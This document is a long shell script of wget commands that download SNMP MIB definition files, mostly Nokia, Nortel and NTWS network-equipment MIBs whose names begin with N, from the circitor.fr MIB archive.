wget http://www.circitor.fr/Mibs/Mib/N/NNCAAL5-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NNCBELLCOREGR820DS1STATISTICS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NNCCEFILLLEVELSTATISTICS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NNCEXTCALLROUTINGSTATS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NNCEXTE3-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NNCEXTNEINVENTORY-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NNCEXTPVC-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NNCEXTSPVC-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NNCEXTSVCSIGSTATS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NNCEXTVPTTP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NNCFRINTSTATISTICS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NNCGNI0001-SMI.mib
wget http://www.circitor.fr/Mibs/Mib/N/NNCGNI0006-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NNCGNI00X1-SMI.mib
wget http://www.circitor.fr/Mibs/Mib/N/NNCGNI00X3-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NNCGNI00X4-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NNCGNI00X5-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NNCGNI00X6-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NNCGNI00X7-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NNCGNI00X8-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NNCGNI00X9-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NNCVS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NOKIA-ALCHEMYOS-CLUSTER-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NOKIA-ALCHEMYOS-HARDWARE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NOKIA-ALCHEMYOS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NOKIA-AZC-REGISTRATION-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NOKIA-AZC-SYSTEM-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NOKIA-COMMON-ALARM-REPORTING-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NOKIA-COMMON-MIB-OID-REGISTRATION-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NOKIA-COMMON-NE-ROLE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NOKIA-ENHANCED-SNMP-SOLUTION-SUITE-ALARM-IRP.mib
wget http://www.circitor.fr/Mibs/Mib/N/NOKIA-ENHANCED-SNMP-SOLUTION-SUITE-COMMON-DEFINITION.mib
wget http://www.circitor.fr/Mibs/Mib/N/NOKIA-ENHANCED-SNMP-SOLUTION-SUITE-PM-COMMON-DEFINITION.mib
wget http://www.circitor.fr/Mibs/Mib/N/NOKIA-ENHANCED-SNMP-SOLUTION-SUITE-PM-IRP.mib
wget http://www.circitor.fr/Mibs/Mib/N/NOKIA-HWM-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NOKIA-IPSO-LBCLUSTER-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NOKIA-IPSO-LINKAGGREGATION-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NOKIA-IPSO-REGISTRATION-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NOKIA-IPSO-SYSTEM-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NOKIA-NE3S-REGISTRATION-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NOKIA-NTP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NOKIA-OID-REGISTRATION-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NOKIA-RATESHAPE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NOKIA-UNITTYPES-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NOKIAVPN-CONFIG-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NOKIAVPN-IPSEC-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NOKIAVPN-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NOKIAVPN-VPN-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NORTEL-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NORTEL-NETWORKS-MULTIPLE-SPANNING-TREE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NORTEL-NETWORKS-RAPID-SPANNING-TREE-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NORTEL-SECURE-NETWORK-ACCESS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NORTEL-WLAN-AP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NOS-PRODUCTS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NOTES-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NOTIFICATION-LOG-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NOTIFICATION-TEST-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NOVELL-IPX-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NOVELL-NLSP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NOVELL-RIPSAP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NOVELSAT-COMMON-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NOVELSAT-DEMODULATOR-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NOVELSAT-MODULATOR-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NOVELSAT-ROOT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NPCONFIG.mib
wget http://www.circitor.fr/Mibs/Mib/N/NPI-DEV-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NPSYSTEM.mib
wget http://www.circitor.fr/Mibs/Mib/N/NQA-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NQLEXT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NRC-HUB1-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NRC-MultiGate.mib
wget http://www.circitor.fr/Mibs/Mib/N/NS-OPT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NS-ROOT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NSC-BORDERGUARD-TRAP.mib
wget http://www.circitor.fr/Mibs/Mib/N/NSC-HIPPI-SWITCH-FIELD-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NSC-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NSC-TCP-EXCEL-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NSCDX-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NSCDXCDA-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NSCDXGLIP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NSCHippiSonet-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NSCPS32-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NSCRTV-ROOT.mib
wget http://www.circitor.fr/Mibs/Mib/N/NSCTRAP.mib
wget http://www.circitor.fr/Mibs/Mib/N/NSLDAP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NSMAIL-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NSNICMIB-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NSTACK-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NT-ENTERPRISE-DATA-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NT-ENTERPRISE-DATA-TASMAN-MGMT-CHASSIS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NT-ENTERPRISE-DATA-TASMAN-MGMT-ETHERNET-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NT-Reference-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NTN-QOS-POLICY-AUX-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NTN-QOS-POLICY-EVOL-PIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NTN-QOS-POLICY-EXT-PIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NTNTECH-CHASSIS-CONFIGURATION-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NTNTECH-CHASSIS-STATUS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NTNTECH-INTERFACE-MODULE-CONFIGURATION-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NTNTECH-INTERFACE-MODULE-STATUS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NTNTECH-MTM-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NTNTECH-NMS-TRAPS-V1-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NTNTECH-ROOT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NTNTECH-SYSTEM-OBJECTS-IDENTIFIER-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NTP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NTP-PROXY-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NTPv4-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NTWS-AP-CONFIG-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NTWS-AP-IF-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NTWS-AP-STATUS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NTWS-AP-TC.mib
wget http://www.circitor.fr/Mibs/Mib/N/NTWS-AP-UNCONFIGURED-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NTWS-BASIC-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NTWS-BASIC-TC.mib
wget http://www.circitor.fr/Mibs/Mib/N/NTWS-CLIENT-SESSION-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NTWS-CLIENT-SESSION-TC.mib
wget http://www.circitor.fr/Mibs/Mib/N/NTWS-EXTERNAL-SERVER-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NTWS-INFO-RF-DETECT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NTWS-LICENSE-FEATURE-TC-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NTWS-PORT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NTWS-REGISTRATION-CHASSIS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NTWS-REGISTRATION-DEVICES-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NTWS-RF-DETECT-TC.mib
wget http://www.circitor.fr/Mibs/Mib/N/NTWS-ROOT-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NTWS-SYSTEM-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NTWS-TRAP-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NV-ATKK-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NV6000-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NWA1100-NH.mib
wget http://www.circitor.fr/Mibs/Mib/N/NWA1100-NI.mib
wget http://www.circitor.fr/Mibs/Mib/N/NWA1100.mib
wget http://www.circitor.fr/Mibs/Mib/N/NWA1121-NI.mib
wget http://www.circitor.fr/Mibs/Mib/N/NWA1123-AC.mib
wget http://www.circitor.fr/Mibs/Mib/N/NWA1123-NI.mib
wget http://www.circitor.fr/Mibs/Mib/N/NWAYSMSS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NWSD-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NYMNETWORKS-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NetWare-Host-Ext-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NetWare-Server-Alarm-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NetWare-Server-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NetWare-Server-Trend-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Netgear-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/NetmanPlus-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Netrake-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nice-MIB-II.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nikola-MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-Magellan-Passport-AlarmMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-Magellan-Passport-AppnMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-Magellan-Passport-ApsMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-Magellan-Passport-AtmBaseMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-Magellan-Passport-AtmBearerServiceMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-Magellan-Passport-AtmCoreMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-Magellan-Passport-AtmIispMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-Magellan-Passport-AtmMpeMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-Magellan-Passport-AtmNetworkingMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-Magellan-Passport-AtmPnniMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-Magellan-Passport-AtmTrunksMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-Magellan-Passport-AtmUniMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-Magellan-Passport-BaseRoutingMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-Magellan-Passport-BaseSnmpMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-Magellan-Passport-BgpMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-Magellan-Passport-BitTransparentMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-Magellan-Passport-BridgeMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-Magellan-Passport-CallRedirectionMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-Magellan-Passport-CallServerMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-Magellan-Passport-CasTestMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-Magellan-Passport-CircuitEmulationServiceMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-Magellan-Passport-DataCollectionMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-Magellan-Passport-DataIsdnMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-Magellan-Passport-DcmeMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-Magellan-Passport-DisdnETSIMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-Magellan-Passport-DisdnJapanInsMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-Magellan-Passport-DisdnNI2MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-Magellan-Passport-DisdnNISMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-Magellan-Passport-DisdnTS014MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-Magellan-Passport-DpnRoutingMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-Magellan-Passport-DpnTrunksMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-Magellan-Passport-DprsMcsEpMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-Magellan-Passport-ExtensionsMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-Magellan-Passport-FileSystemMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-Magellan-Passport-FrTraceRcvrMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-Magellan-Passport-FraDpnTrunksMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-Magellan-Passport-FrameRelayAtmMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-Magellan-Passport-FrameRelayDteMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-Magellan-Passport-FrameRelayEngMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-Magellan-Passport-FrameRelayIsdnMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-Magellan-Passport-FrameRelayMuxMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-Magellan-Passport-FrameRelayNniMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-Magellan-Passport-FrameRelayNniTraceMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-Magellan-Passport-FrameRelayUniMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-Magellan-Passport-FrameRelayUniTraceMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-Magellan-Passport-Frf5EpMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-Magellan-Passport-GeneralVcInterfaceMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-Magellan-Passport-GsmIwfMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-Magellan-Passport-HdlcTransparentMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-Magellan-Passport-HuntGroupEngMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-Magellan-Passport-HuntGroupMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-Magellan-Passport-ImaMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-Magellan-Passport-IpCosMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-Magellan-Passport-IpMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-Magellan-Passport-IpNhrpMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-Magellan-Passport-IpVrrpMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-Magellan-Passport-IpiFrMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-Magellan-Passport-IpiVcMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-Magellan-Passport-IpxMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-Magellan-Passport-KurtNetMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-Magellan-Passport-LanDriversMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-Magellan-Passport-LaneClientMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-Magellan-Passport-LogicalProcessorMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-Magellan-Passport-McsMgrMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-Magellan-Passport-MgmtInterfacesMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-Magellan-Passport-ModAtmQosMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-Magellan-Passport-ModCommonMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-Magellan-Passport-ModDprsQosMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-Magellan-Passport-MpaNetworkLinkMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-Magellan-Passport-NetSentryMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-Magellan-Passport-OamEthernetMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-Magellan-Passport-PorsAtmTrunksMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-Magellan-Passport-PorsTrunksMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-Magellan-Passport-PorsVcMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-Magellan-Passport-PppMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-Magellan-Passport-ProvisioningMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-Magellan-Passport-ServerAccessRsaMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-Magellan-Passport-ShelfMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-Magellan-Passport-ShortcutConnectionMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-Magellan-Passport-SnaMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-Magellan-Passport-SoftwareMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-Magellan-Passport-SourceRouteEndStationMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-Magellan-Passport-StandardTextualConventionsMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-Magellan-Passport-StateSummaryMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-Magellan-Passport-SubnetInterfaceMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-Magellan-Passport-TdmaIwfMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-Magellan-Passport-TextualConventionsMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-Magellan-Passport-TimeMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-Magellan-Passport-TraceBaseMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-Magellan-Passport-TrunksMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-Magellan-Passport-UnackTrunksMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-Magellan-Passport-UsefulDefinitionsMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-Magellan-Passport-UtpDpnTrunksMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-Magellan-Passport-VcTesterMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-Magellan-Passport-VirtualMediaMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-Magellan-Passport-VirtualRouterMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-Magellan-Passport-VncsCallServerMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-Magellan-Passport-VnetEtsiQsigMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-Magellan-Passport-VnetEuroIsdnMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-Magellan-Passport-VnetMcdnSigMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-Magellan-Passport-VnetNisSigMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-Magellan-Passport-VnsMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-Magellan-Passport-VoiceMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-Magellan-Passport-VoiceNetworkingMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-Magellan-Passport-X25DteMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-Magellan-Passport-X25TraceRcvrMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-MsCarrier-MscPassport-AlarmMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-MsCarrier-MscPassport-AppnMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-MsCarrier-MscPassport-ApsMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-MsCarrier-MscPassport-AtmBaseMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-MsCarrier-MscPassport-AtmBearerServiceMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-MsCarrier-MscPassport-AtmCoreMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-MsCarrier-MscPassport-AtmEbrMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-MsCarrier-MscPassport-AtmIispMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-MsCarrier-MscPassport-AtmMpeMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-MsCarrier-MscPassport-AtmNetworkingMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-MsCarrier-MscPassport-AtmPnniMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-MsCarrier-MscPassport-AtmTrunksMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-MsCarrier-MscPassport-AtmUniMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-MsCarrier-MscPassport-BaseRoutingMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-MsCarrier-MscPassport-BaseShelfMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-MsCarrier-MscPassport-BaseSnmpMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-MsCarrier-MscPassport-BgpMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-MsCarrier-MscPassport-BitTransparentMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-MsCarrier-MscPassport-BridgeMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-MsCarrier-MscPassport-BusMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-MsCarrier-MscPassport-CallRedirectionMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-MsCarrier-MscPassport-CallServerMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-MsCarrier-MscPassport-CasTestMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-MsCarrier-MscPassport-CircuitEmulationServiceMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-MsCarrier-MscPassport-DataCollectionMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-MsCarrier-MscPassport-DataIsdnMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-MsCarrier-MscPassport-DcmeMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-MsCarrier-MscPassport-DisdnETSIMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-MsCarrier-MscPassport-DisdnJapanInsMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-MsCarrier-MscPassport-DisdnNI2MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-MsCarrier-MscPassport-DisdnNISMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-MsCarrier-MscPassport-DisdnTS014MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-MsCarrier-MscPassport-DpnRoutingMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-MsCarrier-MscPassport-DpnTrunksMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-MsCarrier-MscPassport-DprsMcsEpMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-MsCarrier-MscPassport-ExtensionsMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-MsCarrier-MscPassport-ExternalTimingDS1MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-MsCarrier-MscPassport-ExternalTimingE1MIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-MsCarrier-MscPassport-FabricMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-MsCarrier-MscPassport-FileSystemMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-MsCarrier-MscPassport-FrTraceRcvrMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-MsCarrier-MscPassport-FraDpnTrunksMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-MsCarrier-MscPassport-FrameRelayAtmMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-MsCarrier-MscPassport-FrameRelayDteMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-MsCarrier-MscPassport-FrameRelayEngMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-MsCarrier-MscPassport-FrameRelayIsdnMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-MsCarrier-MscPassport-FrameRelayMuxMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-MsCarrier-MscPassport-FrameRelayNniMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-MsCarrier-MscPassport-FrameRelayNniTraceMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-MsCarrier-MscPassport-FrameRelayUniMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-MsCarrier-MscPassport-FrameRelayUniTraceMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-MsCarrier-MscPassport-Frf5EpMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-MsCarrier-MscPassport-GeneralVcInterfaceMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-MsCarrier-MscPassport-GsmIwfMIB.mib
wget http://www.circitor.fr/Mibs/Mib/N/Nortel-MsCarrier-MscPassport-HdlcTransparentMIB.mib
